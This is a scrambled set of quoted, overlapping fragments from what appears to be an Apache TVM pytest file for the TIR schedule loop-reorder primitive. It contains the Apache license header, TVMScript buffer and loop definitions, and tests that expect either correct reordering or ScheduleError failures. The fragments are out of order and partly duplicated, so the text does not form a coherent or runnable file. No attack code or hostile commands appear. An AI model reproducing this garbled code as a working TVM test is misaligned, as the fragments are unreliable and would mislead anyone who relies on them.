"block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"])",
"= tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for j,",
"sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"or more contributor license agreements. See the NOTICE file # distributed with this",
"for i in tir.serial(0, 128): for j, k, l in tir.grid(128, i, 128):",
"128, 128], \"B\") as [vi, vj, vk, vl]: tir.where(i * 2097152 + j",
"* 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"OR CONDITIONS OF ANY # KIND, either express or implied. See the License",
"Foundation (ASF) under one # or more contributor license agreements. See the NOTICE",
"* 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None:",
"verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__ == \"__main__\": sys.exit(pytest.main([__file__] +",
"tir.match_buffer(b, (128, 128, 128)) for i, j, k in tir.grid(128, 128, 128): with",
"Apache Software Foundation (ASF) under one # or more contributor license agreements. See",
"with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj,",
"tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj, vk,",
"128, 128, 128)) for l, j, k, i in tir.grid(128, 128, 128, 128):",
"16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\") as",
"128, 128, 128)) with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk,",
"tir.serial(0, 128): for j, k, l in tir.grid(128, i, 128): with tir.block([128, 128,",
"k in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as [vi, vj, vk]:",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b:",
"= tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError):",
"@tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) ->",
"tir.match_buffer(b, (128, 128, 128, 128)) for i in tir.serial(0, 128): for j, k,",
"B = tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): for",
"vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A =",
"in compliance # with the License. You may obtain a copy of the",
"implied. See the License for the # specific language governing permissions and limitations",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) ->",
"or agreed to in writing, # software distributed under the License is distributed",
"16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for j, i in tir.grid(16,",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle,",
"@tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16,",
"tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j",
"vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk,",
"tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) with",
"j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch =",
"tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\"))",
"* 128 + l < 100) B[vi, vj, vk, vl] = A[vi, vj,",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for k, j, i,",
"0:16]]) tir.store(A.data, vi * 16 + vj, 1) for j, i in tir.grid(16,",
"license agreements. See the NOTICE file # distributed with this work for additional",
"def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i, j, k,",
"from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def",
"+ vj, 1) with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]])",
"limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import",
"\"License\"); you may not use this file except in compliance # with the",
"* 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\")",
"+ j * 16384 + k * 128 + l < 100) tir.bind(vi,",
"tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0, 128): with tir.block([128], \"B\") as",
"vl]: B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir",
"(128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for l,",
"for j, i in tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi, vj]:",
"i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise)",
"sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b",
"j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch =",
"= tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128, 128, 128], \"B\") as",
"either express or implied. See the License for the # specific language governing",
"def opaque_access(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\")",
"\"float32\") with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k,",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle,",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b:",
"@tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"import tvm from tvm import tir from tvm.script import ty from tvm.tir.schedule.testing import",
"128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i, j,",
"tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj, vk] * 2.0 for k",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b:",
"128): for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as [vi,",
"vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None: A =",
"k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\")",
"import tir from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable",
"block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _,",
"128, 128)) for i, j in tir.grid(128, 128): for k in tir.serial(0, 128):",
"not use this file except in compliance # with the License. You may",
"128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i)",
"\"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl] = A[vi, vj,",
"i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j,",
"@tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\") as [vi, vj]:",
"sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError):",
"vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi, vj, vk] *",
"* 2.0 for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"# or more contributor license agreements. See the NOTICE file # distributed with",
"j, k, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128],",
"2097152 + j * 16384 + k * 128 + l < 100)",
"b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b,",
"tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k",
"* 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"tir.grid(128, 128): for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as",
"vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A",
"128)) B = tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128, 128, 128],",
"WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the",
"i in tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i)",
"[16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") for j, i in",
"i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch,",
"= tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k,",
"k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine,",
"[vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi,",
"2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16,",
"vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]])",
"k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi, vj,",
"def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"\"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16,",
"= sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch =",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"* 16384 + k * 128 + l < 100) tir.bind(vi, i) tir.bind(vj,",
"= tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 =",
"sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a",
"tir.block([128, 128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk,",
"\"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\") as [vi,",
"block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0]",
"for i, j, k, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128,",
"k in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj,",
"ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128,",
"tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i,",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A",
"128 + l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l)",
"l in tir.grid(128, i, 128): with tir.block([128, 128, i, 128], \"B\") as [vi,",
"-> None: A = tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128,",
"# regarding copyright ownership. The ASF licenses this file # to you under",
"def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128))",
"tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi",
"more contributor license agreements. See the NOTICE file # distributed with this work",
"i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\")",
"128, 128): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]:",
"vj, vk, vl]: tir.where(i * 2097152 + j * 16384 + k *",
"k, l in tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128, 128], \"B\")",
"in tir.grid(128, 128): for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\")",
"is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF",
"# pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c =",
"k, j, i, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128,",
"k * 128 + l < 100) B[vi, vj, vk, vl] = A[vi,",
"k in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi,",
"b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128)) B =",
"in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj,",
"= A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) ->",
"sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b",
"governing permissions and limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys",
"= C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) ->",
"i, j in tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi,",
"= tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): for k",
"+ vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A =",
"def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"CONDITIONS OF ANY # KIND, either express or implied. See the License for",
"[vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] =",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b:",
"work for additional information # regarding copyright ownership. The ASF licenses this file",
"(128, 128, 128, 128)) for i in tir.serial(0, 128): for j, k, l",
"B = tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128, 128, 128], \"B\")",
"= A[vi, vj, vk] * 2.0 for k in tir.serial(0, 128): with tir.block([128,",
"vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A =",
"= sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch =",
"j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops():",
"B = tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): with",
"licenses this file # to you under the Apache License, Version 2.0 (the",
"j, k, l in tir.grid(128, i, 128): with tir.block([128, 128, i, 128], \"B\")",
"\"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj,",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a:",
"# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either",
"elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c",
"j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__ == \"__main__\":",
"None: A = tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128,",
"l < 100) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] *",
"128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for l, j, k, i",
"i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b =",
"k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if __name__ == \"__main__\": sys.exit(pytest.main([__file__]",
"128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0,",
"express or implied. See the License for the # specific language governing permissions",
"tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) with tir.block([16, 16],",
"0, vi * 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch",
"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"vk] * 2.0 for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\")",
"l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) def test_reorder_fail_not_affine_bindings(): sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\")",
"= sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b",
"sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b",
"\"B\") as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj,",
"with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.where(i *",
"you under the Apache License, Version 2.0 (the # \"License\"); you may not",
"for i, j in tir.grid(128, 128): for k in tir.serial(0, 128): with tir.block([128,",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(l, i) if",
"128, 128)) with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]:",
"128): with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for",
"License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS",
"= tir.match_buffer(b, [16, 16], \"float32\") for j, i in tir.grid(16, 16): with tir.block([16,",
"16], \"float32\") with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data,",
"@tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16],",
"* 16) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0",
"tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj, vk] * 2.0 @tvm.script.tir def",
"vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl]",
"tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b)",
"* 16384 + k * 128 + l < 100) B[vi, vj, vk,",
"tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\")",
"ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\") B =",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) ->",
"as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi *",
"for j, i in tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi, vj]:",
"128)) for i, j in tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi,",
"128 + l < 100) B[vi, vj, vk, vl] = A[vi, vj, vk,",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"j in tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i)",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle)",
"sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b)",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) ->",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def",
"128, i, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl]",
"under the Apache License, Version 2.0 (the # \"License\"); you may not use",
"2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a:",
"= sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\")",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) ->",
"def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k =",
"tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) for j, i in",
"License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder,",
"in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi,",
"as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi *",
"= sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise,",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle,",
"test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b)",
"or implied. See the License for the # specific language governing permissions and",
"i, j, k in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\")",
"= sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"@tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"vi * 16 + vj, 1) with tir.block([16, 16], \"B\") as [vi, vj]:",
"tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) with tir.block([16, 16], \"B\")",
"16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data,",
"distributed under the License is distributed on an # \"AS IS\" BASIS, WITHOUT",
"def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\")",
"1) for j, i in tir.grid(16, 16): with tir.block([16, 16], \"B\") as [vi,",
"128)) for i, j, k, l in tir.grid(128, 128, 128, 128): with tir.block([128,",
"k in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as [vi, vj, vk]:",
"sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"+ j * 16384 + k * 128 + l < 100) B[vi,",
"* 2097152 + j * 16384 + k * 128 + l <",
"j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j,",
